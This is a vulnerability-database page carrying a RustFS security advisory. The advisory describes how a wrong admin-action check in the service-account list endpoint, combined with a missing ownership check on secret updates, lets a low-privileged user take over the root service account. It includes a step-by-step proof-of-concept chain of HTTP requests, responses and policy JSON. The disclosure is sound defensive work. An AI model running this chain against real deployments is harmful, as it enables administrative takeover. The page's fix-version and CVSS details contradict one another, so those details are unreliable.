Loading...
Skip to main content

GHSA-mm2q-qcmx-gw4w — Vulnerability in rustfs — Advisory Details

HIGH

RustFS: ListServiceAccount authorizes against wrong admin action, enabling cross-user enumeration and root service account takeover

Published May 5, 2026Updated May 5, 2026Source: osv

Summary

## Summary `ListServiceAccount` (`GET /rustfs/admin/v3/list-service-accounts?user=<other>`) authorizes cross-user requests against `UpdateServiceAccountAdminAction` instead of `ListServiceAccountsAdminAction` at `rustfs/src/admin/handlers/service_account.rs:936`. The handler accepts the **wrong** admin action and rejects the **correct** one: - A user granted only `admin:UpdateServiceAccount` enumerates every service account in the cluster, including the root user's (HTTP 200, full metadata). - A user granted only `admin:ListServiceAccounts` — the permission name every IAM document treats as "list service accounts" — receives HTTP 403 AccessDenied on the same request. Because service account access keys act as the identifier a `UpdateServiceAccount` holder needs to rotate a secret, and the `UpdateServiceAccount` handler at `rustfs/src/admin/handlers/service_account.rs:489` performs no ownership check on the target access key, leaking those access keys lets a delegated "service account updater" role overwrite `root-sa-1`'s secret, authenticate as the root user's service account, and create a persistent backdoor admin with `admin:*` + `s3:*`. Proven live end-to-end against `rustfs/rustfs:latest` (1.0.0-alpha.91, revision `d4ea14c2`) — the same revision is byte-identical on current `origin/main`. ## Vulnerability Details - **Package:** `rustfs` (binary crate `rustfs`) - **Affected versions:** From `0a2411f` (the initial `service_account.rs` check-in on 2026-03-15) through current HEAD `90e584a`. The vulnerable line has never been touched. - **Fixed versions:** None - **Vulnerable file:** `rustfs/src/admin/handlers/service_account.rs` - **Vulnerable route:** `GET /rustfs/admin/v3/list-service-accounts?user=<other_user>` (`ListServiceAccount::call`) - **CWE:** CWE-863 (Incorrect Authorization), chained with CWE-620 (Unverified Password Change) to reach CWE-269 (Improper Privilege Management) - **CVSS (demonstrated chain to full admin):** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **10.0 Critical**. If scored as Scope:Unchanged the vector is `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` = **8.8 High**. The list bug alone (no chain) is `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` = **6.5 Medium** and is what a maintainer would rate it if the Update ownership gap is out of scope for this report. ## Two Distinct Vulnerabilities This report documents two bugs that chain to full RustFS administrative takeover. Each is independently fixable and independently a security issue: **Vulnerability A — Wrong action constant in ListServiceAccount (CWE-863)** `ListServiceAccount::call` at line 936 checks `UpdateServiceAccountAdminAction` instead of `ListServiceAccountsAdminAction`. This is a copy-paste typo: the three sibling list handlers (lines 658, 799, 1095) all use the correct constant. The result is a permission inversion — the correct permission (`admin:ListServiceAccounts`) is rejected, and the wrong one (`admin:UpdateServiceAccount`) is accepted. Independently, this is a Medium-severity cross-user information disclosure. **Vulnerability B — Missing ownership check in UpdateServiceAccount (CWE-620)** `UpdateServiceAccount::call` at lines 489-614 authorizes on possession of `admin:UpdateServiceAccount` but never verifies the target `?accessKey=` belongs to the caller or the caller's parent. Lines 522-525 contain a commented-out `get_service_account` call that would have loaded the target for such a check. This means any holder of `admin:UpdateServiceAccount` can overwrite any service account's secret in the cluster, regardless of ownership. **Chain (A + B) — Full RustFS administrative takeover** Vulnerability A leaks every service account's access key (including the root administrator's). Vulnerability B allows overwriting any SA's secret given its access key. Together: a user with a single permission (`admin:UpdateServiceAccount`) enumerates the root user's SA access key via the wrong-action list bug, overwrites its secret via the ownership-free update handler, authenticates as the root user's service account, and creates a persistent backdoor admin with full RustFS administrative control. **Authorization mismatch at a glance:** Exact policies attached to each test identity (retrieved from running server via `GET /admin/v3/info-canned-policy`): legit-list-pol -> {"Action": ["admin:ListServiceAccounts"], "Resource": ["arn:aws:s3:::*"]} list-sa-probe-pol -> {"Action": ["admin:UpdateServiceAccount"], "Resource": ["arn:aws:s3:::*"]} list-sa-restricted -> {"Action": ["admin:UpdateServiceAccount"], "Resource": ["arn:aws:s3:::probe-scope/*"]} (zero-priv-user has no attached policy) | Identity | Attached policy | `GET /list-service-accounts?user=rustfsadmin` | Expected | |---|---|---|---| | `probe-user` | `list-sa-probe-pol` (`admin:UpdateServiceAccount`) | **200** (full SA metadata) | 403 | | `legit-list-user` | `legit-list-pol` (`admin:ListServiceAccounts`) | **403** AccessDenied | 200 | | `restricted-update-user` | `list-sa-restricted` (`admin:UpdateServiceAccount` on `probe-scope/*`) | **200** | 403 | | `zero-priv-user` | (none) | **403** | 403 | | (unauthenticated) | n/a | **403** Signature required | 403 | ### Why the correct permission gets 403 The handler at line 936 calls `is_allowed` with the action `AdminAction::UpdateServiceAccountAdminAction`. The IAM engine performs an exact string match between the action in the `is_allowed` call (`admin:UpdateServiceAccount`) and the action in the caller's attached policy: - `legit-list-user` has policy action `admin:ListServiceAccounts`. This does **not** match `admin:UpdateServiceAccount`. `is_allowed` returns false. The handler returns 403. The user who holds the *correct* permission for listing service accounts is denied. - `probe-user` has policy action `admin:UpdateServiceAccount`. This **matches** `admin:UpdateServiceAccount`. `is_allowed` returns true. The handler returns 200. The user who holds a *different, unrelated* permission is granted access to a list endpoint. - `restricted-update-user` has the same action string but resource-scoped to `arn:aws:s3:::probe-scope/*`. Admin-action statements skip resource matching (`crates/policy/src/policy/statement.rs:132`: `&& !self.is_admin() && !self.is_sts()`), so the resource restriction is ignored and `is_allowed` still returns true. There is no wildcard, superset, or inheritance relationship between these two action strings. They are separate enum variants (`crates/policy/src/policy/action.rs:459-462`) with distinct `strum(serialize)` values. The IAM engine is working correctly; the handler passes the wrong action to it. Raw request/response for `legit-list-user` (the counterintuitive 403): GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin HTTP/1.1 Authorization: AWS4-HMAC-SHA256 Credential=legit-list-user/... HTTP/1.1 403 <?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>access denied</Message></Error> **Why this is not "working as intended":** - `admin:UpdateServiceAccount` and `admin:ListServiceAccounts` are distinct enum variants with distinct string representations. The codebase treats them as orthogonal permissions. - Three sibling list handlers in the same file (lines 658, 799, 1095) all check `ListServiceAccountsAdminAction`. Only line 936 deviates. - CVE-2026-22042 / GHSA-vcwh-pff9-64cc is the maintainers' own precedent: `ImportIam` checking `ExportIAMAction` was rated Medium and fixed. The same class of bug applies here. - A zero-privilege user (no admin policies at all) cannot exploit either vulnerability — both handlers correctly enforce their respective `is_allowed` checks. The bug is that the list handler enforces the *wrong* action constant, not that it skips enforcement entirely. ## Root Cause — Vulnerability A (Wrong Action Constant) `ListServiceAccount::call` is registered for `GET /rustfs/admin/v3/list-service-accounts` at `rustfs/src/admin/handlers/service_account.rs:137-141`. The cross-user branch (entered when `?user=<x>` does not match the caller) checks the wrong admin action: // rustfs/src/admin/handlers/service_account.rs:931-953 (HEAD 90e584a, identical at d4ea14c2) let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) { if !iam_store .is_allowed(&Args { account: &cred.access_key, groups: &cred.groups, action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), // WRONG bucket: "", conditions: &get_condition_values(...), is_owner: owner, object: "", claims: cred.claims.as_ref().unwrap_or(&HashMap::new()), deny_only: false, }) .await { return Err(s3_error!(AccessDenied, "access denied")); } query.user.unwrap_or_default() } else if cred.parent_user.is_empty() { cred.access_key } else { cred.parent_user }; The action enum definitions are cleanly distinct at `crates/policy/src/policy/action.rs:459-464`: #[strum(serialize = "admin:CreateServiceAccount")] CreateServiceAccountAdminAction, #[strum(serialize = "admin:UpdateServiceAccount")] UpdateServiceAccountAdminAction, #[strum(serialize = "admin:RemoveServiceAccount")] RemoveServiceAccountAdminAction, #[strum(serialize = "admin:ListServiceAccounts")] ListServiceAccountsAdminAction, Every *other* list handler in the same file authorizes on the correct constant: rustfs/src/admin/handlers/service_account.rs:658 InfoServiceAccount::call -> ListServiceAccountsAdminAction rustfs/src/admin/handlers/service_account.rs:799 InfoAccessKey::call -> ListServiceAccountsAdminAction rustfs/src/admin/handlers/service_account.rs:1095 ListAccessKeysBulk::call -> ListServiceAccountsAdminAction Only `ListServiceAccount::call` at line 936 deviates. This is a typo/wiring error, not a design choice. `git blame` shows the line has been wrong since commit `0a2411f` (heihutu, 2026-03-15), the initial check-in of `service_account.rs`. ## Root Cause — Vulnerability B (Missing Ownership Check in Update) Service account access keys are the identifier the `UpdateServiceAccount` handler accepts via the `?accessKey=` query string. Inspecting `UpdateServiceAccount::call` at `rustfs/src/admin/handlers/service_account.rs:489-614`: let access_key = query.access_key; // line 509 ... if !iam_store.is_allowed(&Args { account: &cred.access_key, action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), ... }).await { return Err(s3_error!(AccessDenied, "access denied")); } // line 538-559 ... let updated_at = iam_store.update_service_account(&access_key, opts).await // line 579 .map_err(...)?; The handler authorizes on *possession of* `admin:UpdateServiceAccount` and **never checks** that the `?accessKey=` query parameter resolves to a service account owned by the caller. Notably, lines 522-525 contain a commented-out `get_service_account` call that would have loaded the target SA for an ownership check — it was present in the initial commit and has been commented out since: // let svc_account = iam_store.get_service_account(&access_key).await.map_err(|e| { // debug!("get service account failed, e: {:?}", e); // s3_error!(InternalError, "get service account failed") // })?; The inner `IamSys::update_service_account` at `crates/iam/src/sys.rs:495-501` delegates to `IamCache::update_service_account` at `crates/iam/src/manager.rs:663` which loads the credentials by access-key name, verifies it is a service account, and overwrites `secret_key` — again, no ownership check: // crates/iam/src/manager.rs:663 pub async fn update_service_account(&self, name: &str, opts: UpdateServiceAccountOpts) -> Result<OffsetDateTime> { let Some(ui) = self.cache.users.load().get(name).cloned() else { return Err(Error::NoSuchServiceAccount(name.to_string())); }; ... let mut cr = ui.credentials.clone(); let current_secret_key = cr.secret_key.clone(); if let Some(secret) = opts.secret_key { if !is_secret_key_valid(&secret) { return Err(Error::InvalidSecretKeyLength); } cr.secret_key = secret; // <-- attacker-chosen } ... So a holder of `admin:UpdateServiceAccount` who knows *any* service account's access key can overwrite its secret. The list bug at line 936 hands them every access key in the cluster, including `root-sa-1`. The two bugs together form a clean chain: 1. Attacker has a single admin permission: `admin:UpdateServiceAccount`. 2. Attacker calls `GET /v3/list-service-accounts?user=rustfsadmin` — vulnerable handler grants access. 3. Attacker reads `accessKey=root-sa-1` out of the response. 4. Attacker calls `POST /v3/update-service-account?accessKey=root-sa-1` with body `{"newSecretKey":"..."}` — ownership-less handler overwrites. 5. Attacker authenticates as `root-sa-1` with the chosen secret and inherits the root user's full `admin:*` + `s3:*` authority. ## Environment and Version Alignment - Image: `rustfs/rustfs:latest`, digest `sha256:74f8eaad96124c7e019bedfb892b41a9429c495f57b883182427c5e9e9d53c6a` - Labels: `org.opencontainers.image.version=1.0.0-alpha.91`, `org.opencontainers.image.revision=d4ea14c2ba99602314511d5862005f7b871ece37`, `org.opencontainers.image.build-type=prerelease` - Source verification: $ git show d4ea14c2:rustfs/src/admin/handlers/service_account.rs | sed -n '931,940p' let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) { if !iam_store .is_allowed(&Args { account: &cred.access_key, groups: &cred.groups, action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), bucket: "", ... $ git show origin/main:rustfs/src/admin/handlers/service_account.rs | sed -n '931,940p' let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) { if !iam_store .is_allowed(&Args { account: &cred.access_key, groups: &cred.groups, action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), bucket: "", ... Byte-identical. The shipped image contains the same vulnerable handler as the tip of main. ## Proof of Concept (executed live) ### Environment docker run -d --name rustfs-poc --memory=2g -p 9100:9000 \ -e RUSTFS_ACCESS_KEY=rustfsadmin -e RUSTFS_SECRET_KEY=rustfsadmin \ rustfs/rustfs:latest Root credentials: `rustfsadmin:rustfsadmin`. ### Step 1 — Provision the probe identity The probe policy grants exactly **one** admin action, scoped to the broadest resource. Nothing else. { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["admin:UpdateServiceAccount"], "Resource": ["arn:aws:s3:::*"] } ] } Creation as root: PUT /rustfs/admin/v3/add-canned-policy?name=list-sa-probe-pol -> 200 PUT /rustfs/admin/v3/add-user?accessKey=probe-user -> 200 (secret: probe-secret1234) PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=probe-user&isGroup=false&policyName=list-sa-probe-pol -> 200 PUT /rustfs/admin/v3/add-user?accessKey=victim-user -> 200 (no policy) PUT /rustfs/admin/v3/add-service-accounts -> 200 (creates victim-sa-1 under victim-user) PUT /rustfs/admin/v3/add-service-accounts -> 200 (creates root-sa-1 under rustfsadmin) ### Step 2 — Baseline: probe-user is actually constrained Confirming `probe-user` is denied on unrelated admin endpoints so the "200 on list-service-accounts" is not the side effect of some ambient privilege: GET /rustfs/admin/v3/list-users as probe-user -> 403 AccessDenied GET /rustfs/admin/v3/info as probe-user -> 403 AccessDenied GET /rustfs/admin/v3/list-canned-policies as probe-user -> 403 AccessDenied GET /rustfs/admin/v3/kms/status as probe-user -> 403 AccessDenied PUT /rustfs/admin/v3/add-canned-policy?name=... as probe-user -> 403 AccessDenied GET /rustfs/admin/v3/list-service-accounts as probe-user -> 200 {"accounts":[]} # self-scope OK The self-scope list (no `user=` query) returns an empty array — the caller's own service account inventory, which is correctly allowed. This isolates the bug to the cross-user branch only. ### Step 3 — Primary exploit: enumerate other users' service accounts GET /rustfs/admin/v3/list-service-accounts?user=victim-user as probe-user -> 200 {"accounts":[{"parentUser":"victim-user","accountStatus":"on","impliedPolicy":true,"accessKey":"victim-sa-1","name":"sa-victim-user-victim-sa-1","description":"probe target SA for user victim-user","expiration":null}]} GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin as probe-user -> 200 {"accounts":[{"parentUser":"rustfsadmin","accountStatus":"on","impliedPolicy":true,"accessKey":"root-sa-1","name":"sa-rustfsadmin-root-sa-1","description":"probe target SA for user rustfsadmin","expiration":null}]} Exposed per entry: `parentUser`, `accountStatus`, `impliedPolicy`, **`accessKey`**, `name`, `description`, `expiration`. The response does not leak secret keys or session tokens (those are cleared server-side), but it does leak the `accessKey` — the identifier that the `UpdateServiceAccount` endpoint consumes via `?accessKey=`. ### Step 4 — Differential: the correct permission gets denied Created `legit-list-user` with a policy granting only `admin:ListServiceAccounts`: { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["admin:ListServiceAccounts"], "Resource": ["arn:aws:s3:::*"] } ] } Running the same request: GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin as legit-list-user -> 403 <?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>access denied</Message></Error> This is the damning evidence of inversion. The handler refuses the **correct** permission (`admin:ListServiceAccounts`) and accepts the **wrong** one (`admin:UpdateServiceAccount`). There is no superset/subset relationship in the action enum; these are two distinct constants. A deployment that grants its operators `admin:ListServiceAccounts` to view the service account inventory — the intuitive and documented approach — will see every cross-user list request return 403 until this bug is fixed. The resource-scoped variant gave the same result as the broad variant: # Policy: admin:UpdateServiceAccount on arn:aws:s3:::probe-scope/* (unrelated to any SA) GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin as restricted-update-user -> 200 (same body as probe-user) Resource restrictions on admin actions are skipped in `crates/policy/src/policy/statement.rs:132` (`&& !self.is_admin() && !self.is_sts()`), so the bug is equally reachable by an operator whose `admin:UpdateServiceAccount` grant was scoped to

Advisory Timeline

  • First published May 5, 2026 (160 days ago).
  • Last revised May 5, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Cargo
Update rustfs to 1.0.0-alpha.98 or later
cargo update -p rustfs --precise 1.0.0-alpha.98

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: crates.io (1).

PackageEcosystemAffectedFixed In
rustfs
crates.io
All versions1.0.0-alpha.98

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-863
    Incorrect AuthorizationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Frequently Asked Questions

What is GHSA-mm2q-qcmx-gw4w?
RustFS: ListServiceAccount authorizes against wrong admin action, enabling cross-user enumeration and root service account takeover This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by GHSA-mm2q-qcmx-gw4w?
GHSA-mm2q-qcmx-gw4w affects rustfs. Use GeekWala's free vulnerability scanner to check your dependencies against GHSA-mm2q-qcmx-gw4w and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Related CVEs

  • CVE-2025-68926
    CRITICAL

    RustFS has a gRPC Hardcoded Token Authentication Bypass

  • CVE-2026-27822
    CRITICAL

    Rust has Critical Stored XSS in Preview Modal, leading to Administrative Account Takeover

  • CVE-2026-21862
    HIGH

    RustFS has SourceIp bypass via spoofed X-Forwarded-For/Real-IP headers

  • CVE-2026-40937
    HIGH

    RustFS: Missing admin authorization on notification target endpoints allows unauthenticated configuration of event webhooks

  • CVE-2025-68705
    HIGH

    RustFS Path Traversal Vulnerability

  • CVE-2026-27607
    HIGH

    RustFS: Missing Post Policy Validation leads to Arbitrary Object Write

  • CVE-2026-22042
    MEDIUM

    RustFS has IAM Incorrect Authorization in ImportIam that Allows Privilege Escalation

  • CVE-2026-22043
    MEDIUM

    RustFS has IAM deny_only Short-Circuit that Allows Privilege Escalation via Service Account Minting

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies